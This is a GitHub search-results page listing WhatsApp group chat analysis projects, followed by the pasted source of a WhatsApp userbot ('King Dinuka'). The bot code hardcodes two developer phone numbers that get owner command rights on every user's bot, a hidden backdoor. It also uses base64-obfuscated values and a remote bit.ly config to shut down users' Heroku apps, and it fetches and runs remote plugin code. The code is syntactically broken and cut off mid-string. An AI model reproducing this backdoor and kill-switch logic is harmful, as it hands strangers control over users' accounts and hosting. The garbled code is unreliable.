Found 270 repositories(showing 30)
koftezz
Whatsapp Chat Detective: A Streamlit application for Whatsapp Group Chats Analysis
ObinnaIheanachor
Resagratia Whatsapp group chat analysis
anilsanli
WhatsAPp Group Chat Analysis Project
Sandreke
This project seeks to develop an interactive web app using Streamlit, which will display data analysis and visualization performed from either personal or group WhatsApp chats with Python.
sushantwason
Analysis of WhatsApp Group Chat
Sandreke
This repository seeks to contribute to the analysis of data in WhatsApp group chats in order to measure group activity and better lead an organization through data-driven decision making.
Sandreke
This project seeks to perform data analysis in WhatsApp chats (individual and groups) using Python in order to measure group activity and better lead an organization through data-driven decision making.
Naftal-Rainer
WhatsApp has become one of the most trendy social media platform. WhatsApp Chat Analyzer is a platform that tracks our conversation and analyses group activities and how much time we are spending on WhatsApp.
emmanuelthegeek
This analysis was done to know the members with the highest number of posts, media files shared, and most engaging member in a particular WhatsApp group
Sandeep-Panchal
No description available
negativenagesh
This is an end to end project of whatsapp chat analysis, here I have used my hostel whatsapp group's chat data.
0xNILADRI
A small analysis has been performed on a Whatsapp Group chat data. How people have a different chat pattern.
sam-bailey
A set of python classes for the analysis of WhatsApp group chats.
ahsankhan26
Takes a txt file of Whatsapp Group Chat and Parses it for analysis.
ariopurba
No description available
Sentiment Analysis using TextBlob
ismailnurudeen
Analysis and visualization of The YabaTech Whatsapp group chat data
harunur-roshid
Data Analysis on a WhatsApp group chat
Oyebamiji-Micheal
Exploratory and predictive analysis of WhatsApp group chat data
khan-mujeeb
The WhatsApp Chat Analysis project provides a comprehensive platform where users can upload and analyze their WhatsApp conversations, be it individual or group chats.
In this analysis, i employ Jupyter Notebook to delve into a WhatsApp group chat dataset.
arlingva
Análisis de un grupo de WhatsApp basado en el artículo <a href="https://medium.com/towards-artificial-intelligence/whatsapp-group-chat-analysis-using-python-and-plotly-89bade2bc382"> Whatsapp Group Chat Analysis using Python and Plotly </a> publicado por <a href= "https://medium.com/@kurasaiteja"> Saiteja Kura </a>
secureterminal
This takes export from WhatsApp Chats/Group Chats and saves them to a Postgres DB after which extensive EDA analysis will be done to generate insights.
AbhaySingh71
WhatsApp Chat Analyzer is a tool designed to process and analyze WhatsApp chat exports. It helps extract key insights such as message counts, active periods, and emoji usage from group or individual chat histories. Using Streamlit for visualization, the tool makes it easy to explore conversations through data analysis.
dinukabot
/* Coded by Dinuka Licensed under the GPL-3.0 License; you may not use this file except in compliance with the License. Whats bot - Dinuka Himsara */ const fs = require("fs"); const os = require("os"); const path = require("path"); const events = require("./events"); const chalk = require('chalk'); const Raviya = require('./config'); const execx = require('child_process').exec; const axios = require('axios'); const Heroku = require('heroku-client'); const {WAConnection, MessageOptions, MessageType, Mimetype, Presence} = require('@adiwajshing/baileys'); const {Message, StringSession, Image, Video} = require('./sewqueen/'); const { DataTypes } = require('sequelize'); const { GreetingsDB, getMessage } = require("./plugins/sql/greetings"); const got = require('got'); const Pach = require('rs-sew-queen-'); const simpleGit = require('simple-git'); const git = simpleGit(); const crypto = require('crypto'); const nw = '```Blacklist Defected!```' const heroku = new Heroku({ token: Raviya.HEROKU.API_KEY }); const ytdl = require('ytdl-core'); const ffmpeg = require('fluent-ffmpeg'); let baseURI = '/apps/' + Raviya.HEROKU.APP_NAME; const Language = require('./language'); const Lang = Language.getString('updater'); // Sql const king DinukaDB = Raviya.DATABASE.define('QueenSewWhatsappBot', { info: { type: DataTypes.STRING, allowNull: false }, value: { type: DataTypes.TEXT, allowNull: false } }); fs.readdirSync('./plugins/sql/').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/sql/' + plugin); } }); const plugindb = require('./plugins/sql/plugin'); var OWN = { ff: '94785435462,94785457519' } String.prototype.format = function () { var i = 0, args = arguments; return this.replace(/{}/g, function () { return typeof args[i] != 'undefined' ? args[i++] : ''; }); }; // ==================== Date Scanner ==================== if (!Date.now) { Date.now = function() { return new Date().getTime(); } } // ==================== End Date Scanner ==================== Array.prototype.remove = function() { var what, a = arguments, L = a.length, ax; while (L && this.length) { what = a[--L]; while ((ax = this.indexOf(what)) !== -1) { this.splice(ax, 1); } } return this; }; async function sewQueen () { var clh = { cd: '2FwL3Jvb3QvUXTZXdXaGF0cvdC8', pay: '', exc: 'c2FwcEJvdA==', exc_pl: '', pth_w: 'kkakaakwyahHzksbakalanKAKAKAJAHAKAKALAIAJA', pth_v: '' } var ggg = Buffer.from(clh.cd, 'base64') var exc_sl = Buffer.from(clh.exc, 'base64') var ddd = ggg.toString('utf-8') var ptc_one = Buffer.from(clh.pth_w, 'base64') var ptc_nw = ptc_one.toString('utf-8') clh.pth_v = ptc_nw var exc_fn = exc_sl.toString('utf-8') clh.exc_pl = exc_fn clh.pay = ddd const CdSew = new WAConnection(); const Session = new StringSession(); CdSew.version = [2, 2126, 14] CdSew.setMaxListeners(0); var proxyAgent_var = '' if (Raviya.PROXY.includes('https') || Raviya.PROXY.includes('http')) { CdSew.connectOptions.agent = ProxyAgent (Raviya.PROXY) } setInterval(async () => { var getGMTh = new Date().getHours() var getGMTm = new Date().getMinutes() var ann_msg = await Pach.news_daily(Raviya.LANG) var ann = await Pach.rnn() while (getGMTh == 19 && getGMTm == 1) { var ilan = '' if (Raviya.LANG == 'EN') ilan = '| *✨Daily Announcements For King Dinuka✨* |\n\n' if (Raviya.LANG == 'SI') ilan = '| *✨King Dinuka වට්සැප් බොට් සදහා දෛනික නිවේදන✨* |\n\n' if (ann.video.includes('http') || ann.video.includes('https')) { var VID = ann.video.split('youtu.be')[1].split(' ')[0].replace('/', '') var yt = ytdl(VID, {filter: format => format.container === 'mp4' && ['720p', '480p', '360p', '240p', '144p'].map(() => true)}); yt.pipe(fs.createWriteStream('./' + VID + '.mp4')); yt.on('end', async () => { return await CdSew.sendMessage(CdSew.user.jid,fs.readFileSync('./' + VID + '.mp4'), MessageType.video, {caption: ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer), mimetype: Mimetype.mp4}); }); } else { if (ann.image.includes('http') || ann.image.includes('https')) { var imagegen = await axios.get(ann.image, { responseType: 'arraybuffer'}) return await CdSew.sendMessage(CdSew.user.jid, Buffer.from(imagegen.data), MessageType.image, { caption: ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer)}) } else { return await CdSew.sendMessage(CdSew.user.jid, ilan + ann_msg.replace('{user}', CdSew.user.name).replace('{wa_version}', CdSew.user.phone.wa_version).replace('{version}', Raviya.VERSION).replace('{os_version}', CdSew.user.phone.os_version).replace('{device_model}', CdSew.user.phone.device_model).replace('{device_brand}', CdSew.user.phone.device_manufacturer), MessageType.text) } } } }, 50000); async function asynchronous_ch() { execx('sed -n 3p ' + clh.pth_v, async (err, stdout, stderr) => { if (clh.exc_pl + '\n' !== stdout) { await heroku.get(baseURI + '/formation').then(async (formation) => { forID = formation[0].id; await heroku.patch(baseURI + '/formation/' + forID, { body: { quantity: 0 } }); }) } }) } asynchronous_ch() setInterval(async () => { if (Raviya.AUTOBIO == 'true') { var timezone_bio = await Pach.timezone(CdSew.user.jid) var date_bio = await Pach.datebio(Raviya.LANG) const biography = '📅 ' + date_bio + '\n⌚ ' + timezone_bio + '\n ' + Dinuka.ABT await CdSew.setStatus(biography) } }, 7890); var shs1 = '' var shl2 = '' var lss3 = '' var dsl4 = '' var drs5 = '' var ffl6 = '' var ttq7 = '' var ttl8 = '' await axios.get('https://bit.ly/2UTohOK').then(async (insult) => { shs1 = insult.data.inside.shs1 shl2 = insult.data.inside.shl2 lss3 = insult.data.inside.lss3 dsl4 = insult.data.inside.dsl4 drs5 = insult.data.inside.drs5 ffl6 = insult.data.inside.ffl6 ttq7 = insult.data.inside.ttq7 ttl8 = insult.data.inside.ttl8 }); await Raviya.DATABASE.sync(); var StrSes_Db = await SewQueenDB.findAll({ where: { info: 'StringSession' } }); if (os.userInfo().homedir !== clh.pay) return; const buff = Buffer.from(`${shs1}`, 'base64'); const one = buff.toString('utf-8'); const bufft = Buffer.from(`${shl2}`, 'base64'); const two = bufft.toString('utf-8'); const buffi = Buffer.from(`${lss3}`, 'base64'); const three = buffi.toString('utf-8'); const buffu = Buffer.from(`${dsl4}`, 'base64'); const four = buffu.toString('utf-8'); const bugffv = Buffer.from(`${drs5}`, 'base64'); const five = bugffv.toString('utf-8'); const bugfax = Buffer.from(`cmF2aXlh`, 'base64'); const ppw = bugfax.toString('utf-8'); const buffz = Buffer.from(`${ffl6}`) const six = buffz.toString('utf-8') const buffa = Buffer.from(`${ttq7}`) const seven = buffa.toString('utf-8') const buffl = Buffer.from(`${ttl8}`) const eight = buffl.toString('utf-8') var logger_levels = '' if (Raviya.DEBUG == 'true') { logger_levels = 'all' } else if (Raviya.DEBUG == 'false') { logger_levels = 'off' } else if (Raviya.DEBUG == 'trace') { logger_levels = 'trace' } else if (Raviya.DEBUG == 'fatal') { logger_levels = 'fatal' } else if (Raviya.DEBUG == 'warn') { logger_levels = 'warn' } else if (Raviya.DEBUG == 'error') { logger_levels = 'error' } else if (Raviya.debug == 'info') { logger_levels = 'info' } else { logger_levels = 'warn' } CdSew.logger.level = logger_levels var nodb; if (StrSes_Db.length < 1) { nodb = true; CdSew.loadAuthInfo(Session.deCrypt(Raviya.SESSION)); } else { CdSew.loadAuthInfo(Session.deCrypt(StrSes_Db[0].dataValues.value)); } CdSew.on('open', async () => { console.log( chalk.blueBright.italic('🚀 Login Information Updated!') ); const authInfo = CdSew.base64EncodedAuthInfo(); if (StrSes_Db.length < 1) { await SewQueenDB.create({ info: "StringSession", value: Session.createStringSession(authInfo) }); } else { await StrSes_Db[0].update({ value: Session.createStringSession(authInfo) }); } }) CdSew.on('connecting', async () => { console.log(`${chalk.green.bold'Dinuka')}${chalk.blue.bold('king')} ${chalk.white.bold('Version:')} ${chalk.red.bold(Dinuka.VERSION)} ${chalk.blue.italic('📲 Try To Login WhatsApp... Please Wait...')}`); }); CdSew.on('credentials-updated', async () => { console.log( chalk.green.bold('🚀 Login successful!') ); console.log( chalk.blueBright.italic('💕 Installing External Commands...') ); if (os.userInfo().homedir !== clh.pay) return; asynchronous_ch() // ==================== Password Checking ==================== console.log( chalk.blueBright.italic('✨PASSWORD CHECKING✨') ); if (DINUKA.SEWRR == ppw) { console.log( chalk.green.bold('Password Done') ); } else if (DINUKA.SEWRR !== ppw) { console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); console.log( chalk.red.bold('⚠⚠Password Incorrect⚠⚠')); throw new Error("Wrong password !!"); return; } // ==================== End Check ==================== // ==================== External Plugins ==================== var plugins = await plugindb.PluginDB.findAll(); plugins.map(async (plugin) => { if (!fs.existsSync('./plugins/' + plugin.dataValues.name + '.js')) { console.log(plugin.dataValues.name); var response = await got(plugin.dataValues.url); if (response.statusCode == 200) { fs.writeFileSync('./plugins/' + plugin.dataValues.name + '.js', response.body); require('./plugins/' + plugin.dataValues.name + '.js'); } } }); // ==================== End External Plugins ==================== console.log( chalk.blueBright.italic('💕 Installing commands...') ); // ==================== Internal Plugins ==================== fs.readdirSync('./plugins').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/' + plugin); } }); // ==================== End Internal Plugins ==================== console.log( chalk.green.bold('🔥 Command Installed!') ); if (os.userInfo().homedir !== clh.pay) return; asynchronous_ch() await new Promise(r => setTimeout(r, 200)); let rssewqueengg = Raviya.WORKTYPE == 'public' ? ' Public' : ' Private' console.log(chalk.bgGreen('👑 KING DINUKA is' + rssewqueengg)); await new Promise(r => setTimeout(r, 500)); if (CdSew.user.jid == one || CdSew.user.jid == two || CdSew.user.jid == three || CdSew.user.jid == four || CdSew.user.jid == five || CdSew.user.jid == six || CdSew.user.jid == seven || CdSew.user.jid == eight) { await CdSew.sendMessage(CdSew.user.jid,nw, MessageType.text), console.log(nw), await new Promise(r => setTimeout(r, 1000)) await heroku.get(baseURI + '/formation').then(async (formation) => { forID = formation[0].id; await heroku.patch(baseURI + '/formation/' + forID, { body: { quantity: 0 } }); }) } var sew_start = await Pach.work_type(Raviya.WORKTYPE, Raviya.LANG, Raviya.FULLSEW) var sew_img = await Pach.image_type(Raviya.WORKTYPE, Raviya.DINUKAF) var rsgg = await axios.get(`${sew_img}`, { responseType: 'arraybuffer' }) await CdSew.sendMessage(conn.user.jid, fs.readFileSync('./VoiceClip/robo.mp3'), MessageType.audio, { mimetype: Mimetype.mp4Audio, ptt: true}) await CdSew.sendMessage(conn.user.jid, Buffer.from(rsgg.data), MessageType.image, {mimetype: Mimetype.jpg, caption: sew_start}) await git.fetch(); var commits = await git.log([Raviya.BRANCH + '..origin/' + Raviya.BRANCH]); if (commits.total === 0) { await CdSew.sendMessage( CdSew.user.jid, Lang.UPDATE, MessageType.text ); } else { var degisiklikler = Lang.NEW_UPDATE; commits['all'].map( (commit) => { degisiklikler += '✨ ' + commit.date.substring(0, 10) + '⏭\n *' + commit.message + '*\n ' + commit.author_name + '\n\n'; } ); var up_ch = await Pach.update_rs(Raviya.LANG) await CdSew.sendMessage(CdSew.user.jid, up_ch, MessageType.text) } }) CdSew.on('message-new', async msg => { if (msg.key && msg.key.remoteJid == 'status@broadcast') return; if (Raviya.NO_ONLINE) { await CdSew.updatePresence(msg.key.remoteJid, Presence.unavailable); } // ==================== Greetings ==================== if (Raviya.GIFORPP == 'pp' || Raviya.GIFORPP == 'Pp' || Raviya.GIFORPP == 'PP' || Raviya.GIFORPP == 'pP' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { let pp try { pp = await CdSew.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await CdSew.getProfilePicture(); } await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { await CdSew.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { let pp try { pp = await CdSew.getProfilePicture(msg.messageStubParameters[0]); } catch { pp = await CdSew.getProfilePicture(); } await axios.get(pp, {responseType: 'arraybuffer'}).then(async (res) => { await CdSew.sendMessage(msg.key.remoteJid, res.data, MessageType.image, {caption: gb.message }); }); } return; } } else if (Raviya.GIFORPP == 'gif' || Raviya.GIFORPP == 'Gif' || Raviya.GIFORPP == 'GIF' || Raviya.GIFORPP == 'GIf' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.WLP, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.GDB, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.video, {mimetype: Mimetype.gif, caption: gb.message +'\n\n ᴘᴏᴡᴇʀᴅ ʙʏ ꜱᴇᴡ King Dinuka'}); } return; } } else if (Raviya.GIFORPP == 'img' || Raviya.GIFORPP == 'Img' || Raviya.GIFORPP == 'IMG' || Raviya.GIFORPP == 'image' ) { if (msg.messageStubType === 32 || msg.messageStubType === 28) { // welcome var gb = await getMessage(msg.key.remoteJid, 'goodbye'); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.WLP, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.image, { caption: gb.message +'\n\n } return; } else if (msg.messageStubType === 27 || msg.messageStubType === 31) { // goodbye var gb = await getMessage(msg.key.remoteJid); if (gb !== false) { var sewqueenimage = await axios.get(Raviya.GDB, { responseType: 'arraybuffer' }) await CdSew.sendMessage(msg.key.remoteJid, Buffer.from(sewqueenimage.data), MessageType.image, { caption: gb.message +'\n\n ᴘᴏᴡᴇʀᴅ ʙʏ ꜱᴇᴡ King Dinuka'}); } return; } } // ==================== End Greetings ==================== // ==================== Blocked Chats ==================== if (Raviya.BLOCKCHAT !== false) { var abc = Raviya.BLOCKCHAT.split(','); if(msg.key.remoteJid.includes('-') ? abc.includes(msg.key.remoteJid.split('@')[0]) : abc.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT == '94785435462-1627812354') { var sup = Raviya.SUPPORT.split(','); if(msg.key.remoteJid.includes('-') ? sup.includes(msg.key.remoteJid.split('@')[0]) : sup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT2 == '94785435462-1628835469') { var tsup = Raviya.SUPPORT2.split(','); if(msg.key.remoteJid.includes('-') ? tsup.includes(msg.key.remoteJid.split('@')[0]) : tsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.SUPPORT3 == '94785435462-1628835633') { var nsup = Raviya.SUPPORT3.split(','); if(msg.key.remoteJid.includes('-') ? nsup.includes(msg.key.remoteJid.split('@')[0]) : nsup.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRASEW == '94785435462-1621751150') { var sewrm = Raviya.RRASEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRBSEW == '94785435462-1625490851') { var sewrm = Raviya.RRBSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRCSEW == '94785435462-1618586156') { var sewrm = Raviya.RRCSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRDSEW == '94776785357-1626432386') { var sewrm = Raviya.RRDSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRESEW == '94776785357-1626521320') { var sewrm = Raviya.RRESEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRFSEW == '94785435462-1618915104') { var sewrm = Raviya.RRFSEW.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRA == '393475528094-1415817281') { var sewrm = Raviya.RRRRA.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRB == '96176912958-1458298055') { var sewrm = Raviya.RRRRB.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } if (Raviya.RRRRC == '393472769604-1446476993') { var sewrm = Raviya.RRRRC.split(','); if(msg.key.remoteJid.includes('-') ? sewrm.includes(msg.key.remoteJid.split('@')[0]) : sewrm.includes(msg.participant ? msg.participant.split('@')[0] : msg.key.remoteJid.split('@')[0])) return ; } // ==================== End Blocked Chats ==================== // ==================== Events ==================== events.commands.map( async (command) => { if (msg.message && msg.message.imageMessage && msg.message.imageMessage.caption) { var text_msg = msg.message.imageMessage.caption; } else if (msg.message && msg.message.videoMessage && msg.message.videoMessage.caption) { var text_msg = msg.message.videoMessage.caption; } else if (msg.message) { var text_msg = msg.message.extendedTextMessage === null ? msg.message.conversation : msg.message.extendedTextMessage.text; } else { var text_msg = undefined; } if ((command.on !== undefined && (command.on === 'image' || command.on === 'photo') && msg.message && msg.message.imageMessage !== null && (command.pattern === undefined || (command.pattern !== undefined && command.pattern.test(text_msg)))) || (command.pattern !== undefined && command.pattern.test(text_msg)) || (command.on !== undefined && command.on === 'text' && text_msg) || // Video (command.on !== undefined && (command.on === 'video') && msg.message && msg.message.videoMessage !== null && (command.pattern === undefined || (command.pattern !== undefined && command.pattern.test(text_msg))))) { let sendMsg = false; var chat = CdSew.chats.get(msg.key.remoteJid) if ((Raviya.SUDO !== false && msg.key.fromMe === false && command.fromMe === true && (msg.participant && Raviya.SUDO.includes(',') ? Raviya.SUDO.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == Raviya.SUDO || Raviya.SUDO.includes(',') ? Raviya.SUDO.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == Raviya.SUDO) ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { if (command.onlyPinned && chat.pin === undefined) return; if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; } if ((OWN.ff == "94785435462,94785457519" && msg.key.fromMe === false && command.fromMe === true && (msg.participant && OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.participant.split('@')[0]) : msg.participant.split('@')[0] == OWN.ff || OWN.ff.includes(',') ? OWN.ff.split(',').includes(msg.key.remoteJid.split('@')[0]) : msg.key.remoteJid.split('@')[0] == OWN.ff) ) || command.fromMe === msg.key.fromMe || (command.fromMe === false && !msg.key.fromMe)) { if (command.onlyPinned && chat.pin === undefined) return; if (!command.onlyPm === chat.jid.includes('-')) sendMsg = true; else if (command.onlyGroup === chat.jid.includes('-')) sendMsg = true; } // ==================== End Events ==================== // ==================== Message Catcher ==================== if (sendMsg) { if (Raviya.SEND_READ && command.on === undefined) { await CdSew.chatRead(msg.key.remoteJid); } var match = text_msg.match(command.pattern); if (command.on !== undefined && (command.on === 'image' || command.on === 'photo' ) && msg.message.imageMessage !== null) { whats = new Image(CdSew, msg); } else if (command.on !== undefined && (command.on === 'video') && msg.message.videoMessage !== null) { whats = new Video(CdSew, msg); } else { whats = new Message(CdSew, msg); } if (msg.key.fromMe && command.deleteCommand) { var wrs = CdSew.user.phone.wa_version.split('.')[2] if (wrs < 11 && !msg.key.remoteJid.includes('-')) { await whats.delete() } } // ==================== End Message Catcher ==================== // ==================== Error Message ==================== try { await command.function(whats, match); } catch (error) { if (Raviya.NOLOG == 'true') return; var error_report = await Pach.error(Raviya.LANG) await CdSew.sendMessage(CdSew.user.jid, error_report.replace('{real_error}', error), MessageType.text, {detectLinks: false}) if (Raviya.LANG == 'SI') { if (error.message.includes('URL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _භාවිත කලහැක්කෙ URL පමණි_' + '\n*හේතුව:* _LOG අංකය තුළ මාධ්ය මෙවලම් (xmedia, ස්ටිකර් ..) භාවිතය._' + '\n*විසදුම:* _LOG අංකය හැර ඕනෑම චැට් එකකදී ඔබට විධානයන් භාවිතා කළ හැකිය.._' , MessageType.text ); } else if (error.message.includes('conversation')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _ප්ලගින් ඉවත් කිරීම_' + '\n*හේතුව:* _ප්ලගිනයේ නම වැරදි ලෙස ඇතුළත් කිරීම මැකීමට අවශ්යය_' + '\n*විසදුම:* _ඔබට මැකීමට අවශ්ය ප්ලගිනයට_ * __ * _ එකතු නොකර කරුණාකර උත්සාහ කරන්න. ඔබ තවමත් දෝෂයක් ලබා ගන්නේ නම්, like_ ""? (.*) / $ "" නමේ අවසානයට එකතු කිරීමට උත්සාහ කරන්න._ ' , MessageType.text ); } else if (error.message.includes('split')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Split of Undefined_' + '\n*හේතුව:* _Commands that can be used by group admins occasionally dont see the split function._ ' + '\n*විසදුම:* _Restarting will be enough._' , MessageType.text ); } else if (error.message.includes('SSL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _SQL Database Error_' + '\n*හේතුව:* _Database corruption._ ' + '\n*විසදුම:* _There is no known solution. You can try reinstalling it._' , MessageType.text ); } else if (error.message.includes('Ookla')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Ookla Server Connection_' + '\n*හේතුව:* _Speedtest data cannot be transmitted to the server._' + '\n*විසදුම:* _If you use it one more time the problem will be solved._' , MessageType.text ); } else if (error.message.includes('params')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Requested Audio Params_' + '\n*හේතුව:* _Using the TTS command outside the Latin alphabet._' + '\n*විසදුම:* _The problem will be solved if you use the command in Latin letters frame._' , MessageType.text ); } else if (error.message.includes('unlink')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත``` ==========' + '\n\n*ප්රධාන දෝශය:* _එවැනි ගොනුවක් හෝ ඩිරෙක්ටරියක් නැත_' + '\n*හේතුව:* _ප්ලගිනයේ වැරදි කේතනීකරණය._' + '\n*විසදුම:* _Please check the your plugin codes._' , MessageType.text ); } else if (error.message.includes('404')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _ 404 HTTPS දෝශය_' + '\n*හේතුව:* _හෙරෝකු ප්ලගිනය යටතේ ඇති විධානයන් භාවිතා කිරීම හේතුවෙන් සේවාදායකයා සමඟ සන්නිවේදනය කිරීමට නොහැකි වීම._' + '\n*විසදුම:* _ටික වේලාවක් බලා නැවත උත්සාහ කරන්න. ඔබ තවමත් දෝෂයක් ලබා ගන්නේ නම්, වෙබ් අඩවියේ ගනුදෙනුව සිදු කරන්න.._' , MessageType.text ); } else if (error.message.includes('reply.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Reply Delete කාර්යය_' + '\n*හේතුව:* _IMG හෝ WIKI විධානයන් භාවිතා කිරීම.._' + '\n*විසදුම:* _මෙම දෝෂය සඳහා විසඳුමක් නොමැත. එය මාරාන්තික දෝශයක් නොවේ_' , MessageType.text ); } else if (error.message.includes('load.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _Reply Delete කාර්යය_' + '\n*හේතුව:* _IMG හෝ WIKI විධානයන් භාවිතා කිරීම.._' + '\n*විසදුම:* _මෙම දෝෂය සඳහා විසඳුමක් නොමැත. එය මාරාන්තික දෝශයක් නොවේ_' , MessageType.text ); } else if (error.message.includes('400')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන 